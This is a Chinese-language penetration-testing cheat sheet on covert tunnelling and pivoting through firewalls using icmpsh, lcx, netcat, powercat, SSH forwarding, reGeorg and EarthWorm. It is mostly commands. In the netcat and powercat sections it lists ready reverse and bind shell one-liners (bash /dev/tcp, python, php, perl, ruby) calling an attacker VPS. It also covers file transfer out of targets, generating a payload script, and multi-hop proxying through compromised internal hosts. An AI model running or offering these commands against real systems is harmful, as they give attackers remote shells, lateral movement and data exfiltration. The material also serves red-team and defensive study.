目录
隐藏通信隧道技术
0x00 隐藏通信隧道基础知识
1. 隐藏隧道通信概述
隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。常见的隧道列举如下:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
2. 判断网络连通性
判断内网联通性
- ICMP协议:ping
- TCP协议:nc\ncat
- HTTP协议:curl\wget
- DNS协议:nslookup\dig
0x01 网络层隧道技术
在网络层是常用的隧道到协议有IPv6和ICMP
1. IPv6隧道
"IPv6"是"Internet Protrol Version 6"的缩写,也被称为是下一代互联网协议,它是由IETF(The Internet Engineering Task Force,国际互联网工程任务组)设计用来代替现行的IPv4协议的一种新的IP协议,IPv4协议已经使用了20多年,目前面临着地址匮乏等一系列问题,而IPv6则能从根本上解决这些问题,现在,由于IPv4资源几乎耗尽,IPv6开始进入过渡阶段。
2. IPv6隧道技术
- IPv6隧道技术指的是通过IPv4隧道传送IPv6数据报文的技术,为了在IPv4的海洋中传输IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6能够穿越IPv4的海洋,到达另一个IPv6小岛。
- 攻击者有时会通过恶意软件来配置允许进行IPv6通信的设备,以避开防火墙和入侵检测系统。
- 支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等。
3. ICMP隧道
- ICMP隧道简单、实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。
- 常用的ICMP隧道工具有icmpsh、PingTunel、icmptunel、powershell icmp等。
4. ICMP隧道实现
工具 icmpsh [下载地址:https://github.com/inquisb/icmpsh.git]
安装python-impacket类库:apt-get install python3-impacket
关闭系统的ICMP应答:sysctl -w net.ipv4.icmp_echo_ignore_all=1 (也就是禁ping)
VPS执行: ./icmpsh_m.py <外网VPS> <内网出口IP>
内网服务器执行: icmpsh.exe -t <外网VPS>
0x02 传输层隧道技术
传输层技术包括TCP隧道、UDP隧道和常规的端口转发等
1. Lcx端口转发
Lcx分为 window版本和Linux版本,两种平台使用方法不尽相同,一下使用这两种平台工具实现端口转发。
-
首先在目标机器 执行端口转发命令:
lcx.exe -slave 192.168.190.170 8080 127.0.0.1 80
将本地80端口转发到外网192.168.190.170的8080端口 -
在外网VPS上面执行监听端口命令:
./portmap -m 2 -p1 8080 -p2 7777
监听来自6666端口的请求,将其转发到7777端口。
内网172.24.8.100 的80端口 成功转发到了 外网VPS 192.168.190.170 的 7777端口
2. Netcat 用法
banner获取
nc -nv ip port
连接远程主机
nc -nvv ip port
端口扫描
nc -zv ip port
端口监听
nc -lvp port
文件传输
nc -lp port > Namefilename
nc -vn ip port < filename -q 1
反弹shell
- 正向shell
目标机器:nc -lvp 4444 -e /bin/bash
攻击机:nc -nv 目标IP 4444
- 反向shell
攻击机: nc -lvp 4444
目标机器:nc -e /bin/bash -nv 攻击机IP 4444
扩展:其他反弹shell
bash
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_ip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("VPS_ip",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
perl
perl -e 'use Socket;$i="VPS_ip";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby
ruby -rsocket -e'f=TCPSocket.open("VPS_ip",9999).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
3. Powercat 用法
PowerCat可以说是nc的PowerShell版本。可以通过执行命令回到本地运行,亦可以使用远程权限运行。
PowerCat[下载地址:https://github.com/besimorhino/powercat.git ]
使用方法
设置权限
Set-ExecutionPolicy RemoteSigned
使用前先导入 ps脚本
Import-Module .\powercat.ps1
powercat部分参数介绍
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式
-e 程序重定向
nc正向连接powercat
目标机器执行
powercat -l -p 9999 -e cmd.exe -v
或者
powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -p 9999 -e cmd.exe -V}"
VPS执行
nc -nv 192.168.190.128 9998
nc反向连接powercat
VPS上执行
nc -lvp 4444
目标机器执行
powercat -v 192.168.190.1 -p 4444 -e cmd.exe -v
或者
powershell.exe -c "& {Import-module .\powercat.ps1;powercat -c VPS_ip -p 4444 -v -e cmd.exe"
powercat文件传输
目标机器执行:
powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -p 9999 -of test.txt -v }"
VPS执行:
powershell.exe -c "& {Import-module .\powercat.ps1;powercat -c 目标IP -p 9999 -i c:\test.txt -v }"
powercar生成Payload
powercat -l -p 8000 -e cmd.exe -v -g >> shell.ps1
通过PowerCat作为内网代理
- 二级内网机器执行:
powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -p 9999 -e cmd.exe -v}"
- 边界机器执行:
powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -v -p 4444 -r tcp:二级内网机器IP:9999}"
- VPS执行:
nc 边界机器外网IP 8000 -vv
0x03 应用层隧道技术
1. SSH隧道:
隧道的概念是将一种网络协议封装在了另外一个协议里面。这里我们是将这些通信协议放到了ssh协议里面,所有的流量都是加密的。由于隧道协议传输涉及将流量数据重新打包为其他格式的内容,于是打包前进行加密可以有效的防止数据丢失或窃取,并且通信过程和传统隧道相比是非常隐蔽的。
常见参数说明
- -C 压缩传输,提高传输速度
- -f 将SSH传输转入后台执行,不占用当前Shell
- -N 建立 静默连接
- -g 允许远程主机连接本地用于转发的端口
- -L 本地端口转发
- -R 远程端口转发
- -D 动态转发(Socks代理)
- -P 指定SSH端口
本地端口转发
测试环境
VPS:192.168.190.170
DMZ区服务器:192.168.190.7/172.24.8.54
内网服务器:172.24.8.100
目的:以DMZ服务器为跳板 访问内网服务器80端口
VPS上执行:
ssh -CfNg -L 8080(本地端口):172.24.8.100(内网服务器):80 root@192.168.190.7(DMZ跳板机)
远程端口转发
ssh -CfNg -R 8080(VPS端口):172.24.8.100:80(目标内网服务器) root@192.168.190.170(VPS)
访问本地8080端口即可访问目标服务
动态转发
ssh -CfNg -D 1080 root@192.168.190.7
本地配置Proxifier 或者proxychains4设置VPS_IP:7000端口Socks5代理 即可正常访问目标服务器的任何服务
2. HTTP/HTTPS协议
常见工具:reDuh、reGeorg、meterpreter、tunna等
reGeorg
- 上传对应版本的webshell
- python reGeorgSocksProxy.py -u webshell地址 -p 9999
- 本地配置Proxifier设置127.0.0.1:9999端口Socks5代理
3. Socks代理
SOCKS代理是一种代理服务,可简单地将一端系统连接到另一端。SOCKS支持多种协议,包括HTTP,FTP等。SOCKS分为SOCKS4和SOCKS5两种类型:SOKCS4只支持TC协议;SOCKS5不仅支持TCP/UDP,还支持各种身份验证机制等。SOCKS能够与目标内网计算机通信,避免多次端口转发。
常用Socks代理工具: EarthWorm、reGeorg、sSocks、SocksCap64、Proxifier、proxyChains
EarthWorm
下载地址 : https://github.com/idlefire/ew
- 正向Socks 5
- 适用于目标机器拥有外网IP: ew -s ssocksd -l 888
- 反向Socks 5
- VPS上执行:ew -s rcsocks -l 1008 -e 888 内网机器执行:ew -s rssocks -d VPS_IP -e 888
二级内网代理
- 获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
A 主机可直连 B 主机
可控边界主机A 可访问指定资源的主机B
+---------+ +-----------------------+ +-----------------+
|HackTools| ->> | 1080 --> 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
+---------+ +-----------------------+ +-----------------+
a) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
// 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。